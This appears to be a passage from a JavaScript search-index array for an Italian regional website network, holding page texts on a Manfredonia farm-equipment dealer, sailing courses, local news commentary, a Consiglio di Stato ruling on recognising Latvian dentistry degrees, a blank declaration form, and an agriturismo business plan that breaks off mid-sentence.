mondiale dei sistemi pneumatici di potatura e raccolta. Gli ingegneri e lo staff d'impresa sono sempre impegnati nella ricerca e nella realizzazione di soluzioni vincenti per il mondo agricolo ed ha saputo consolidare nel tempo un rapporto di assoluta fiducia e sicurezza con la propria clientela. La ditta Agrim Vibrocoltivatori e erpici frangizolle Continua con gli altri marchi Powered and Hosted by   GARGANONET Cultura in Puglia   Vignanotica.com &nbsp;");sQ1[22]=new Array("http://www.dibariagricoltura.it/contattaci.html","Contattaci - Di Bari Agricoltura","","Home I Nostri Prodotti Contattaci Dove siamo              I nostri recapiti:Di Bari Agricoltura Negozio - Deposito - Capannone: S.P. 57 Scaloria Località &quot;La Castellana&quot; Direzione &quot;La Montagna&quot; 71043 Manfredonia (Fg) Telefono (+39) 0884 581623 Fax (+39) 0884 581623 E-mail dibariagricoltura@tiscali.it Powered and Hosted by   GARGANONET Cultura in Puglia   Vignanotica.com &nbsp;");sQ1[23]=new Array("http://www.dibariagricoltura.it/dovesiamo.html","Dove siamo - Di Bari Agricoltura","","Home I Nostri Prodotti Contattaci Dove siamo              Per raggiungere la nostra ditta, provenendo da nord: Autostrada A14 Bologna Bari, uscita Foggia. Da Foggia SS 89 superstrada per Manfredonia. A Manfredonia strada per &quot;La Montagna&quot; e San Giovanni Rotondo. La circonvallazione di Manfredonia è un punto di riferimento importante per trovarci. Per raggiungere il nostro negozio e capannone, andare verso Manfredonia, (in direzione opposta si va verso San Giovanni Rotondo), avanti circa 800 metri, girare a sinistra in direzione della località &quot;La Montagna&quot; I nostri recapiti:Di Bari Agricoltura Negozio - Deposito - Capannone: S.P. 57 Scaloria Località &quot;La Castellana&quot; Direzione &quot;La Montagna&quot; 71043 Manfredonia (Fg) Telefono (+39) 0884 581623 Fax (+39) 0884 581623 E-mail dibariagricoltura@tiscali.it Powered and Hosted by   GARGANONET Cultura in Puglia   Vignanotica.com &nbsp;");sQ1[24]=new Array("http://www.garganonet.it/","Viaggiare per mare","Crociera in barca a vela. Per chi ama il mare e la nautica è il momento di viaggiare e imparare a condurre una vera barca a vela di altura.","Home Barche e Natanti   Crociere Andar per mare Nautica da diporto Nella nautica da diporto tutto dipende dalla destinazione e dalla barca con cui ci andiamo. Generalmente nello yacht a bordo è presente tutto ciò che serve ad assicurare un viaggio comodo e divertente. Unire il divertimento alla didattica della vela è quello che noi vi diamo; solcare il mare con le vele spiegate e offrirsi l'emozione della navigazione old style in una cornice di vacanza scelta e inusuale. Per chi ama il mare e la nautica è il momento di viaggiare e di conoscere il mondo. Raggiungere la costa croata con le sue spendide isole, e l'Istria sono le mete scelte per il vostro divertimento e la vacanza  Crociere scuola in Croazia. Vela e divertimento prenotate la vostra vacanza &gt;&gt; VELA CLUB VELACLUB è una associazione sportiva dilettantistica senza scopo di lucro, che si prefigge lo scopo di far conoscere, divulgare e diffondere lo sport della vela e della cultura del mare attraverso l'organizzazione di iniziative, che coniugano sport e divertimento. Le nostre Attività comprendono attività pratica in barca e due ore di lezione in classe. Facciamo inoltre, corsi di vela d'altura con navigazione strumentale e a vista, fra le isole della Croazia. I nostri corsi di conoscenza del mondo della vela vi permetteranno di acquisire nozioni di navigazione, ormeggio, tecniche di ancoraggio, uso del GPS (acronimo di Global Positioning System) e della carta nautica, che sono propedeutici al conseguimento della patente nautica. Le attività marinare si svolgono su più barche fra cui una di provata affidabilità qual'è lo Yacht d'altura Bavaria 41. Ogni uscita didattica viene programmata per una metodica acquisizione dei vari momenti di conduzione della barca, dall'ormeggio al mare aperto: ogni azione e insegnamento sia teorico che pratico, ha lo scopo di preparare gli aspiranti capibarca a una conduzione ottimale dell'imbarcazione risolvendo tutte le problematiche che la navigazione a vela pone. Particolare attenzione viene posta alla conoscenza degli impianti di bordo, dal motore alla radio, nonchè alle manovre per condurre l'imbarcazione nel cattivo tempo e nelle emergenze. Ci preoccupiamo anche di dare tutte quelle indicazioni e consigli per pianificare una crociera, per gli approvvigionamenti, per il mantenimento in efficienza delle dotazioni di bordo e delle strumentazioni, per una navigazione sicura e sicuramente ricca di soddisfazioni. I corsi I corsi del VELACLUB sono programmati su più livelli con contenuti differenti, calibrati sulle capacità dei singoli aspiranti e considerate le richieste di formazione e aspettative: Primo livello chiamato &quot;base&quot;; secondo livello o &quot;perfezionamento&quot;; terzo livello &quot;regata d'altura&quot;. I &quot;corsi speciali&quot; vengono programmati e organizzati seguendo un calendario di argomenti e richieste anche a carattere professionale. I &quot;corsi crociera&quot; consistono nella navigazione diurna e notturna al comando dell'imbarcazione su percorsi nautici di varia natura articolati anche su più giorni.  Occasione Barche Barca del 1974 in buonissime condizioni Riferimento: Cantiere: TOGNACCI Anno: 1974 Modello: 28 SMERALDO Tipo: Materiale: Legno Lunghezza: mt 7,50 Bandiera: Anno Immatricolazione: Anno Motore: 1986 Motore: VOLVO P. CV/HP: 1X118 Ore Moto Velocità: ....leggi Cantiere ALOHA - Anno 1991 - Modello 22 CABIN - Tipo DAY CRUISER - Materiale VTR - Immatricolazione 1992 Info &gt;&gt; Per infornmazioni Cell: (+39) 3403128295  Garganonet, Piazza delle Rose, 3 71043 Manfredonia (Foggia) Tel (+39) 0884587031 Mobile (+39) 340 3128295   info@garganonet.it Keywords: yacht charter, yacht, yacht da diporto, crociera, noleggio, imbarcazione, imbarcazione a vela, turismo nautico, nautica, diporto, skipper, noleggio imbarcazione, caicco, motoveliero, affitto, locazione, broker, agenzia, mediatore marittimo, weekend, week end, schooner, ketch, traversata, turismo, delivery, isola, diving, scuba, sail, sailing, croazia, isole della croazia, Author: Severino Tognoni - www.volareflyfree.it");sQ1[25]=new Array("http://www.vignanotica.com/","Gargano e Puglia - Notizie e informazioni","","Home Page Pubblicazioni Le News Contattaci Argomenti Luoghi del Gargano Stele Daunie Storia del territorio Italia Nazione d'Europa Benvenuti nel sito di Vignanotica.com 12-11-2011L'Italia ritrova la sua identità Un giorno da ricordare Oggi con il voto della Camera e l'approvazione della Legge di Stabilità il nostro Paese trova la via per proseguire e gettare le basi per un nuovo rapporto con se stesso e la politica. Governare un paese come l'Italia è cosa ardua che richiede qualità umane con particolare spessore intellettuale. Siamo contenti che con le dimissioni dell'Onorevole Silvio Berlusconi si chiude il ciclo &quot;berlusconiano&quot; che non ha dato il benessere tanto auspicato. E' mancato in generale il senso dello Stato e delle Istituzioni da parte di molti. Molte di quelli che ci hanno governato non hanno voluto attenersi alle regole morali e all'onore che il loro ruolo imponeva: non si può proseguire nel mandato pubblico quando si viene rinviati a giudizio. Quando si è indagati ci si reca dal giudice naturale e alle richieste di questo si risponde con buona volontà e serietà, fornendo tutte le informazioni a discolpa. Non si taccia di comunista chi fa il proprio dovere cercando di arginare la delinquenza e il malaffare. Quando ero ragazzo e frequentavo l'Istituto d'Arte, un grande insegnante Loris Zambon, in una delle tante discussioni culturali che si aprivano nell'operare quotidiano, si parlava di neo colonialismo e sull'argomento il nostro didatta esprimeva il suo pensiero; nella mia mente le sue riflessioni erano &quot;comuniste&quot;. Mi alzai e chiesi se era comunista. Serenamente mi rispose: &quot;se il mio voler abolire lo sfruttamento dei popoli e volere che non ci siano al mondo uomini che soffrono la fame, orbene sono comunista; se mi chiedi se sono iscritto al Partito Comunista, non lo sono!&quot; Mai più giudicai un pensiero con l'epiteto &quot;comunista&quot;. Non ci sono scusanti per i parlamentari &quot;chiacchierati&quot;, ci si dimette e basta. L'onore l'impone. Parafrasando un famoso film dichiaro che l'onore è un dono prezioso che ognuno di noi fa a se stesso. Un grazie sentito al nostro Presidente Giorgio Napolitano che con il suo esempio onora tutti noi e l'Italia.  19-05-2011 Dov'è va l'Ungheria Oggi un bel servizio andato in onda alle 20,45 su RaiNews24. L'Ungheria continua a varare leggi e modifiche costituzionali che ci sembrano non confacenti a uno stato democratico europeo. Ricordiamo come questo paese si sia eroicamente battuto per ritrovare la libertà fin dal 1956; oggi paese libero e democratico non può creare situazioni politiche contrarie al buon senso e ai principi della democrazia moderna. Leggete... Da leggere ancora a cura di Quadrante Futuro Ungheria - Un giovane capitalismo già in crisi  19-04-2011 Corso di laurea in Medicina in Romania Sono aperte le iscrizioni alla Facoltà di Medicina in Romania. Sarà nostra cura preparare la documentazione per le iscrizioni e consigliarvi sulla migliore università da frequentare. Potete presentare la vostra documentazione e iscrivervi al Corso di Medicina e Chirurgia oppure Odontoiatria in Romania. E' vostro diritto se volete, sostenere la prova di ammissione (il test d'ingresso) nella sede italiana che preferite; se disgraziatamente non la superate, avrete già ottenuto l'iscrizione e non perderete l'anno. Potrete frequentare in Romania ed eventualmente, l'anno successivo, presentare la domanda di trasferimento in una sede universitaria italiana. Vi consigliamo anche quando aveste scelto il corso di laurea in lingua inglese o francese, i nostri corsi di lingua romena nei mesi di maggio, giugno o luglio, questo per un più proficuo iter scolastico, e per una interessante conoscenza della cultura romena. Contattateci. Per maggiori informazioni: Università Romania Per il vostro futuro come medico: Info una scelta oculata in Romania  09-04-2011 Non siamo un paese indipendente e capace, ma .... siamo forse una colonia? Riportiamo l'articolo apparso su RaiNews24 Il patto Ue-governo-regione Campania per &quot;ridare a Pompei tutto il suo splendore&quot; è &quot;una priorità &quot; e il piano può offrire &quot;una prospettiva ambiziosa e a lungo termine per il sito, che è di grande importanza sia per l'eredità culturale e per lo sviluppo turistico e economico della regione e dell'Italia nel suo insieme, sia per l'immagine internazionale del paese&quot;. Lo afferma, in una intervista al Mattino, il commissario per gli Affari Regionali Johannes Hahn, che spiega di attendere la presentazione di un programma dettagliato, tale da consentire una quantificazione esatta della cifra da stanziare. Leggi Riflessione: .... non riusciamo a proteggere il nostro massimo patrimonio e abbiamo bisogno di farci tutelare dalla UE; vogliamo parlare di beni culturali in Italia da salvaguardare? Non preoccupatevi più di tanto, il nostro governo ha molti altri problemi a cui pensare!!  Un restauro che pensa al futuro Per la conservazione dei &quot;Beni Culturali&quot; di Manfredonia. Riflessioni per un restauro e conservazione intelligente. E' stato universalmente riconosciuto il grandissimo valore sociale di un “bene culturale” nell’accezione più vasta del suo significato quale elemento di conservazione [...] &quot;Il restauro come momento di qualificazione del bene culturale&quot; A cura di Severino Tognoni Loris Zambon Scultore e Artista Un meritato riconoscimento al Maestro Loris Zambon. Il valore morale e statura culturale dell'insegnante, che ricco di non comuni doti professionali, di competente educatore, porta con sè la riconoscenza di tutti i suoi ex alunni e colleghi a Padova e Venezia. Attesa - anno 1989 Insegnante e artista veneziano, lavora per la conoscenza culturale di un mondo, quello della ragione, dell'estetica e della filosofia che regolano la bellezza delle forme. Leggere ciò che la natura e l'operare dell'uomo hanno creato nel tempo e nelle &quot;necessità&quot;; parlare della terra e del lavoro degli uomini con le forme e la materia. Come forse pensava Enzo Bianchi, priore della comunità monastica di Bose: &quot;...parlare del pane, frutto della terra e del lavoro dell'uomo. Natura e cultura&quot;. Condividere le forme semplici del mondo che ci circonda: &quot;condividere un mondo di cose&quot;, aggiungeremmo noi al suo pensiero!  L'Europa e l'altro Una pubblicazione dedicata dagli studiosi delle moderne emergenze. Un convegno tematico a Foggia (2003) per capire le ragioni della diversità e della migrazione. Una riflessione sul tema &quot;L'Europa e l'altro&quot; ci è sembrata particolarmente utile oggi in un momento in cui la pressione migratoria alle frontiere europee diventa sempre più forte. Una pressione che appare come indice di una nuova civiltà globale, segnata fondamentalmente da mescolanza interetecnica, meticciato e ibridizzazione. Sembra così definitivamente tramontato il mito della razza pura, incontaminata, separata e &quot;superiore&quot;, come la razza ariana ieri o qualche altra razza nordica oggi; e sembra contestualmente riattualizzata la speranza etica di Kant per cui i popoli, vivendo sulla superficie terrestre che è sferica, non possono in eterno disperdersi all'infinito e distanziarsi, bensì al contrario sono naturalmente spinti alla convergenza e alla tolleranza reciproca, al vivere insieme l'uno accanto all'altro.  Chiesa di Santa Lucia a Manfredonia 21-5-2007 Una chiesa abbandonata al suo destino....la distruzione. In una località di nome Tori, a qualche chilometro da Manfredonia in direzione di Foggia (strada statale 89), si trova la chiesetta di Santa Lucia in completo stato [...] A cura di Severino Tognoni  Antivirus 16-02-2011 Vi consigliamo questo antivirus della Microsoft per debellare un fastidioso e pericoloso virus informatico e precisamente un Worm chiamato BRONTOK. Nella descrizione viene nominato così - Worm:Win32/Brontok.AF@mm Microsoft Security Essentials 32 bit Microsoft Security Essentials 64 bit Pagine 16-02-2011 Il nome del nostro sito Il Vallone e la spiaggia di VIGNANOTICA » Arte Lo scultore Lucio zatti » Rappresentare la magica espessività dello sguardo e relazionare con questo attraverso la ricchezza della materia, è opera ardua ma ricchissima di pathos.[...] I disegni, acquerelle e sculture di Severino Tognoni » Bronzetto Alunni e il maestro Loris Zambon all'Istututo d'Arte &quot;Pietro Selvatico&quot; di Padova  Foto e ricordi di giorni felici e fecondi. 16-02-2011 Il restauro come conservazione culturale del nostro passato. Restaurare i beni culturali in Capitanata »  Link Per conoscere i problemi della salute mentale e l'emarginazione dei disagiati psichici.  La salute mentale Per investire in Romania acquistando immobili.  Gargano Viaggi Cultura A Milano, una istituzione che ha dato molto al mondo dell'Arte Sacra.  Scuola Beato Angelico  Aviazione e Aeroplani Scuola di Volo e Cultura Aeronautica.  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Ritenuto e considerato, in fatto e in diritto, quanto segue: FATTOEDIRITTO 1) - La Repubblica di Lettonia ­ in quanto paese candidato all'adesione all'Unione Europea ­ acquisiva titolo a beneficiare del Programma comunitario TEMPUS (Programma di Mobilità Trans-Europeo per gli Studi Universitari), adottato dal Consiglio dei Ministri dell'U.E. il 7 maggio 1990, tendente allo &quot;sviluppo dei programmi di studio al fine di rendere concordi le università della Lettonia con le Università europee in termini di discipline di studio, corsi e diplomi&quot;. Nell'ambito del programma TEMPUS, l'Università di Stato della Lettonia ha avviato, sin dall'anno accademico 1991/1992, un progetto di &quot;Cooperazione Interuniversitaria Sperimentale&quot; in alcuni settori specifici della medicina (fra i quali l'odontoiatria), aperto espressamente alla partecipazione di studenti comunitari. A questo fine, l'Accademia Medica della Lettonia otteneva la collaborazione di alcune Università di Stati membri dell'Unione Europea (Portogallo, Germana, Spagna, Svezia, Italia). Per quanto riguarda l'Italia, il programma di collaborazione ha finito per coinvolgere l'Università di Siena, l'Università di Roma Tor Vergata, nonché, parzialmente, l'Università di Roma &quot;La Sapienza&quot;. Il programma è stato progressivamente realizzato e gli allievi meritevoli hanno, alla fine del corso, conseguito il relativo diploma in odontoiatria, con la conseguente autorizzazione, nei vari Stati che hanno aderito al progetto, all'esercizio dell'attività professionale secondo quanto disposto dall'ordinamento del luogo di appartenenza (tedesco per l'Università di Dresda e portoghese per l'Università di Lisbona). In Italia si è invece aperta una vertenza con le Università di Siena e &quot;La Sapienza&quot; intorno al riconoscimento di questo titolo estero. 2) - In particolare, per quello che interessa il presente giudizio, l'Università &quot;La Sapienza&quot; si è rifiutata di accogliere le domande di &quot;riconoscimento di titolo estero&quot; presentate da quegli studenti italiani che avevano partecipato al progetto sperimentale conseguendo la laurea in odontoiatria. La motivazione del rifiuto era la mancata presentazione della prescritta &quot;dichiarazione di valore&quot; da parte della Rappresentanza diplomatica di Riga. Tale dichiarazione è stata rifiutata perché i corsi si sono svolti in parte in Lettonia e in parte in Italia, e non tutti in Lettonia. 3) - Con ricorso al Tribunale Amministrativo per il Lazio, gli odierni appellati, laureati in Odontoiatria e protesi dentaria conseguita presso l'Università di Riga in Lettonia, hanno chiesto l'annullamento delle determinazioni con le quali l'Università &quot;La Sapienza&quot; ha deciso di non dare ulteriore corso alle loro istanze di riconoscimento del titolo accademico estero in mancanza della &quot;dichiarazione di valore&quot; rilasciata dalla competente Rappresentanza diplomatica italiana. Ha costituito oggetto di impugnazione davanti al T.a.r. anche la comunicazione del Consolato italiano di Riga che ha negato la &quot;dichiarazione di valore&quot;. 4) - Con la sentenza di primo grado il T.a.r. del Lazio ha accolto il ricorso, annullando gli atti impugnati. A sostegno della decisione, il T.a.r. ha osservato che l'autorità universitaria, in caso di rifiuto o di parziale riconoscimento del titolo di studio conseguito all'estero, &quot;ha l'obbligo di motivare la sua decisione con riguardo ai contenuti formativi del diploma, non già in relazione ad aspetti estrinseci alle competenze ed alle abilità professionali attestate dal titolo, quale formalisticamente è la dichiarazione di valore in causa, espunta dall'ordinamento e che non può perciò essere ancora richiesta dalle Università per il riconoscimento legale in Italia del titolo accademico conseguito all'estero&quot;. Il T.ar., pertanto, ha individuato nei provvedimenti impugnati il vizio di &quot;violazione del giusto procedimento, che non prevede ulteriori condizioni, come la dichiarazione di valore in questione, oltre le prescrizioni accademiche di studio e frequenza ritenute necessarie per il completamente del ciclo formativo nazionale ai fini del riconoscimento del titolo conseguito all'estero da parte di cittadini, italiani o di Paesi terzi che siano&quot;. 5. Contro tale decisione ha proposto appello l'Università degli studi &quot;La Sapienza&quot; unitamente al ministero dell'Istruzione, Università e Ricerca. I motivi di appello avverso la sentenza del T.a.r. possono essere così sintetizzati: - anzitutto, i ricorrenti non avrebbero avuto alcun interesse ad ottenere il richiesto annullamento in quanto si sarebbero comunque trovati nella condizione di dover essere dichiarati decaduti dall'iscrizione poiché, come dagli stessi documentato, sono stati contemporaneamente iscritti presso l'Università italiana e quella lettone, ciò che avrebbe costituito motivo di decadenza automatica dall'iscrizione ai sensi dell'art. 142 del R.D. n. 1592/1933; - nel merito, i provvedimenti impugnati sarebbero legittimi in quanto non sarebbe stato possibile, per gli studenti, conseguire un'adeguata preparazione pratica senza la necessaria frequenza dei corsi, né sarebbe stato possibile frequentare i corsi stessi senza soggiornare in loco (sicché sarebbero del tutto inconferenti i riferimenti contenuti nella sentenza impugnata ai principi comunitari della libera circolazione e della libertà di stabilimento, non avendo, tra l'altro, l'Università appellante richiesto agli interessati di stabilire la residenza in Riga, ma solo di avere effettivamente soggiornato in Lettonia); - rientrerebbe, in ogni caso, nell'autonomia dell'Università, disporre in ordine alla tipologia di documenti che ritiene indispensabile acquisire ai fini del riconoscimento del titolo di studio, trattandosi, al riguardo, di un procedimento altamente discrezionale, in seno al quale l'Ateneo ben potrebbe acquisire tutti gli elementi ritenuti necessari per effettuare le valutazioni richieste, ivi compresa, eventualmente, la dichiarazione di valore rilasciata dalla Rappresentanza italiana; - inoltre, gli odierni appellati non avrebbero potuto usufruire del programma di cooperazione TEMPUS perché non sarebbe stato rivolto nei loro confronti, non avendo l'Università appellante stipulato alcun accordo in proposito con l'Università di Riga e in quanto, comunque, detto programma avrebbe previsto l'iscrizione dello studente presso l'Università di provenienza ed il riconoscimento dei periodi di studio compiuti all'estero come se effettuati presso l'Ateneo di provenienza, mentre, nel caso in esame, gli interessati sarebbero stati iscritti presso l'Università di Riga (e all'Università di Roma avrebbero, poi, richiesto il riconoscimento degli esami sostenuti presso la detta Università estera). Si sono costituiti in giudizio gli appellati in epigrafe indicati insistendo per il rigetto dell'appello. 6) - L'appello è infondato. Quanto al primo profilo di censura, basti notare, invero, che quanto addotto dal patrocinio erariale sotto il profilo dell'interesse al ricorso (secondo cui i ricorrenti non avrebbero avuto alcun interesse ad ottenere il richiesto annullamento, in quanto si sarebbero comunque trovati nella condizione di dover essere dichiarati decaduti dall'iscrizione perché, come dagli stessi documentato, sarebbero stati contemporaneamente iscritti presso l'Università italiana e quella lettone, ciò che avrebbe costituito motivo di decadenza automatica dall'iscrizione ai sensi dell'art. 142 del R.D. n. 1592/1933) presupporrebbe una sorta di automatica declaratoria di decadenza degli originari ricorrenti dall'iscrizione presso l'Ateneo romano, di cui sarebbe stato preciso onere di quest'ultimo verificare ed apprezzare i presupposti operativi ai fini dell'adozione, all'occorrenza, dei provvedimenti del caso; una valutazione siffatta appare, peraltro, del tutto assente nel provvedimento impugnato e non può la difesa dell'Amministrazione basare la propria eccezione sull'ipotetica assunzione di un futuro provvedimento vincolato che sarebbe stato preciso onere della stessa Università appellante, se del caso, assumere se e in quanto ne fossero sussistiti, in base alle valutazioni ad essa sola spettanti, i relativi presupposti normativi e fattuali; laddove, per contro, lo stesso Ateneo ha ritenuto che i richiedenti avrebbero potuto fruire del domandato beneficio del riconoscimento, salvo escluderne l'applicabilità in base a ragioni del tutto diverse e, cioè, a cagione della mancata acquisizione dell'attestazione di cui si è detto. Con la conseguenza che l'eccezione addotta in questa sede verrebbe anche a porsi in manifesta contraddizione con gli apprezzamenti stessi al riguardo già operati dall'Università appellante, che si è limitata a ritenere gli esami in parola inutilizzabili e non, invece, a ritenere che gli istanti dovessero addirittura essere dichiarati decaduti dall'iscrizione. 7) - Quanto ai predetti profili di merito, giova premettere che la sentenza impugnata non ha negato che spetta all'Università il potere di valutare se vi siano i presupposti per riconoscere, in tutto o in parte, il titolo di studio conseguito all'estero, ma ha solo precisato che, in caso di rifiuto o di parziale riconoscimento, l'Università ha l'obbligo di motivare la sua decisione con riguardo al contenuto formativo del diploma, non già in relazione ad aspetti estrinseci alle competenze ed abilità professionali attestate dal titolo. Al riguardo, deve disattendersi la censura secondo cui avrebbero errato i primi giudici nel ritenere ragione insufficiente, per rifiutare il riconoscimento del titolo di studio conseguito all'estero, la mancanza della c.d. dichiarazione di valore da parte del Consolato di Riga. Come questa Sezione ha già avuto modo di rilevare (cfr. la decisione della Sezione 22 giugno 2006, n. 4932), alla c.d. dichiarazione di valore non può essere riconosciuto un ruolo decisivo e discriminante nei procedimenti di riconoscimento di titoli conseguiti all'estero; la p.a. ha, infatti, l'obbligo di motivare la sua decisione con riguardo ai contenuti formativi del diploma, non semplicemente in relazione ad aspetti estrinseci rispetto alle competenze ed alle abilità professionali attestate dal titolo, quale formalisticamente è la dichiarazione di valore, ma sulla base di una valutazione sostanziale, mediante l'impiego (da valutarsi caso per caso da parte del responsabile del procedimento) di tutti gli strumenti istruttori normalmente disponibili (inclusa la corrispondenza diretta e/o diplomatica, considerata tuttavia nel suo aspetto ordinario di fonte di informazioni non aventi carattere esclusivo o infungibile). La richiesta della dichiarazione di valore, insomma, corrisponde ad una mera prassi, che non esclude il potere-dovere dell'amministrazione di compiere le proprie autonome valutazioni anche qualora la rappresentanza diplomatica interessata (anche, se del caso, a cagione dell'assenza di forme di raccordo o di coordinamento tra la stessa e gli istituti universitari nazionali) non abbia fornito il riscontro richiesto o l'abbia fornito in termini generici od insufficienti. Non può essere, pertanto, accolta la tesi sostenuta nell'atto di appello secondo cui l'Università, nel suo ambito di autonomia, avrebbe ben potuto esigere, a sua assoluta discrezione, qualsiasi documento avesse ritenuto indispensabile, indipendentemente dal suo contenuto. Al contrario, il Collegio ritiene che l'autonomia riconosciuta alle Università, se certamente consente loro di rifiutare il riconoscimento del titolo straniero motivando in relazione alle carenze formative del diploma, non permette, invece, alle medesime di opporre il rifiuto sulla base di aspetti estrinseci e formali (come appunto, la mancanza della dichiarazione di valore da parte del Consolato di Riga), che nulla hanno a che vedere con il valore scientifico e professionale del titolo estero. Ciò vale, a maggior ragione, nel caso di specie, in cui, venendo in considerazione una esperienza formativa sperimentale, che dichiaratamente prevedeva lo svolgimento di corsi in parte in Italia e in parte in Lettonia, non avrebbe senso negare il riconoscimento per la circostanza (ritenuta, invece, decisiva, dal Consolato di Riga) che il corso non si è svolto interamente in Lettonia. Si aggiunga che la circolare del 16 giugno 1993, n. 1115, che l'Università appellante ha inteso applicare, era espressamente volta a prevenire il riconoscimento di titoli rilasciati da numerosi istituti privati di seguito elencati, tra i quali certamente non rientrava l'Università statale di Riga (che, tra l'altro, ha sottoscritto accordi con numerosi atenei italiani e di altri Stati membri ai fini del reciproco riconoscimento di titoli accademici); detta lettera circolare, invero, ha imposto lo specifico onere di acquisizione dell'attestazione dell'Autorità diplomatica di cui si discute, &quot;in modo particolare per gli studenti muniti di titolo accademico rilasciato da Università del Messico, dell'Ecuador e della ex Jugoslavia, poiché in questi paesi operano, tra le altre, alcune di quelle istituzioni private non abilitate al rilascio di validi titoli accademici&quot;; se ne deduce, a contrario, che un puntuale onere siffatto non era richiesto nelle ipotesi in cui, come nella specie, il riconoscimento era richiesto per esami sostenuti presso una Università di Stato che nulla avesse a che fare con gli istituti privati come sopra elencati; con la conseguenza, a tutto voler concedere, che l'Ateneo appellante avrebbe dovuto fornire chiare indicazioni in merito alle ragioni che lo inducevano ad estendere le particolari cautele dettate dalla predetta circolare ministeriale anche al riconoscimento dei titoli conseguiti presso istituti universitari pubblici di altri Stati, del tutto estranei rispetto a quelli indicati nel documento stesso; e che la nota ministeriale, diretta all'Università appellante, che ha ribadito i contenuti della predetta circolare, non ha certamente inteso ­ né potuto ­ ampliarne la portata applicativa. 8) - Deve essere rigettata, poi, anche la censura secondo cui gli odierni appellati non avrebbero potuto usufruire del programma TEMPUS in quanto non rivolto nei loro confronti. Si tratta di un'affermazione destituita di fondamento, in quanto il programma TEMPUS era aperto espressamente alla partecipazione di studenti comunitari, sia dell'area baltica sia di quella mediterranea. La partecipazione al progetto pilota di mobilità di studenti comunitari era, anzi, condizione necessaria perché il programma potesse beneficiare del contributo comunitario; a tal fine, l'Accademia Medica della Lettonia ha ottenuto la collaborazione di alcune Università degli Stati membri dell'Unione Europea, tra cui appunto l'Università &quot;La Sapienza&quot; di Roma. Si aggiunga che il rigetto della domanda degli originari ricorrenti non è affatto avvenuto per le ragioni ora dette, solo in questa sede addotte dalle amministrazioni appellanti, ma unicamente in considerazione del mancato rilascio della ripetuta attestazione della Rappresentanza italiana in Lettonia; con la conseguenza che non può essere accolta (e va, anzi, dichiarata inammissibile) una censura mirante, nella sostanza, al diniego di accoglimento delle domande avanzate dagli odierni appellati per ragioni del tutto estranee rispetto a quelle direttamente addotte dell'Amministrazione negli atti impugnati in primo grado. 9) - Alla luce delle considerazioni che precedono, l'appello deve essere rigettato. Sussistono, tuttavia, giusti motivi per disporre la compensazione delle spese del grado. P.Q.M. Il Consiglio di Stato in sede giurisdizionale, Sezione sesta, respinge l'appello in epigrafe. Spese del grado compensate Ordina che la presente decisione sia eseguita dall'Autorità amministrativa. DEPOSITATA IN SEGRETERIA il....04/09/2007");sQ1[27]=new Array("attoautdoc.doc","REGIONE del VENETO","","MODELLO DI DICHIARAZIONE SOSTITUTIVA DELL’ATTO DI NOTORIETA’ (artt. 19 e 47 del D.P.R. 28 dicembre 2000, n. 445) Il/La sottoscritto/a ………………………………………………………………………………………, nato/a il ………………………………. a …………………………………………………………………………………… residente a …………………………………………………………………………………….. prov. (………………..) in Via / Piazza ……………………………………………………………………………………………… n. ………….. consapevole delle sanzioni penali previste dall’art. 76 del D.P.R. 28 dicembre 2000, n. 445, per le ipotesi di falsità in atti e dichiarazioni mendaci, dichiara con riferimento alla domanda di Dichiarazione di Valore per il diploma di Laurea, ottenuto in data ………………………… presso l’Università di (nome, città, nazione) …………………………………………………………….. ..…………………………………………………………………………………………………………………………………., che i seguenti documenti elencati dettagliatamente, presentati in copie fotostatiche, sono conformi agli originali in possesso: ………………………………………………………………………………………………………………………………………… ………………………………………………………………………………………………………………………………………… ………………………………………………………………………………………………………………………………………… ………………………………………………………………………………………………………………………………………… ………………………………………………………………………………………………………………………………………… ………………………………………………………………………………………………………………………………………… ………………………………………………………………………………………………………………………………………… ………………………………………………………………………………………………………………………………………… Allegati n. …………. Data ………………………………. IL/LA DICHIARANTE ………………………………………………… ____________________________________________ Nel caso in cui la domanda venga spedita a mezzo servizio postale, o, comunque, la firma non venga apposta davanti all’incaricato a ricevere le domande, deve essere allegata la fotocopia di un documento di identità personale in corso di validità. 2");sQ1[28]=new Array("maniero.doc","Hotel Mamma Loreta","","Agriturismo Maniero Riavvio e gestione della struttura alberghiera e ristorante. L’Agriturismo Ubicazione La situazione generale Promozione aziendale Vendita di prodotti tipici Attività Costi e organizzazione del personale Programmazione Economia Punti qualificanti Priorità 1) L’Agriturismo Il sistema delle strutture ricettive agrituristiche, sono una diversa concezione del turismo ed è entrata a pieno titolo in questi ultimi anni nella cultura del turismo. L’attività agrituristica è da sempre collegata alla produzione agricola e utilizza principalmente le strutture presenti dell’azienda stessa: i locali adibiti alle attività agrituristiche coincidono quasi sempre con gli edifici presenti nel fondo dove si svolge il lavoro dei campi. L’agriturismo oltre a comprendere l’ospitalità, gestisce attività direttamente collegate al mondo rurale e agricolo, comprendente, oltre alla coltivazione, anche l’allevamento con produzione dei prodotti derivati. In questo cosmo di tempo libero, cibi e attività all’aria aperta a stretto contatto con la natura, salute e semplicità sembrano essere fattori determinanti per il successo della nicchia di comparto. L'ammontare del reddito dell'imprenditore agricolo viene sensibilmente aumentato se propone il soggiorno a utenti desiderosi di passare il loro tempo a contatto della natura e del lavoro agricolo: l'alloggio, la ristorazione, la vendita di prodotti aziendali, la valorizzazione di prodotti tipici o di prodotti biologici consente all'azienda di creare un ulteriore valore aggiunto con un incremento dell'occupazione in attività diverse da quelle tradizionalmente attribuitegli. L'impresa agricola attivandosi per una implementazione dell'ospitalità nell'organizzazione produttiva aziendale, esce dallo schema tradizionale che lo vede relegato solo alle colture e all'allevamento proponendosi come promotore culturale per una nuova visitazione del modo di fare vacanza. Oltre a favorire la permanenza nelle zone rurali di persone e gruppi familiari che vivono in città, l'agriturismo fa conoscere la tradizione culturale dell'ambiente agricolo; gestendo poi i servizi ricreativi e sportivi, quali l’equitazione, il trekking, l'imprenditore agricolo si erge a paladino di una sana attività fisica…. e ancora, con proposte di carattere naturistico, con le varie attività di osservazione e studio della produzione agricola nonché la ricerca di fauna e flora presenti nelle aree aperte, boschive e acquitrinose del circondario, promuove la conservazione dell’ambiente in un contesto didattico educativo che può essere di valido supporto alla didattica moderna. 2) Ubicazione La struttura agrituristica ……….. è situata in agro del Comune di ………………… a circa 2 km dal centro abitato. La principale struttura muraria del complesso è posta su un’altura al centro di una vasta tenuta agricola con molteplici attività a carattere commerciale. Si compone di capannoni e stalle per la produzione zootecnica: formaggi, carne, allevamento e riproduzione di animali. La parte destinata all’agriturismo e ricettività alberghiera si compone come segue: 9 camere con servizi tra cui quadruple triple e doppie (?), arredate in maniera intelligente con uno standard confacente ad un 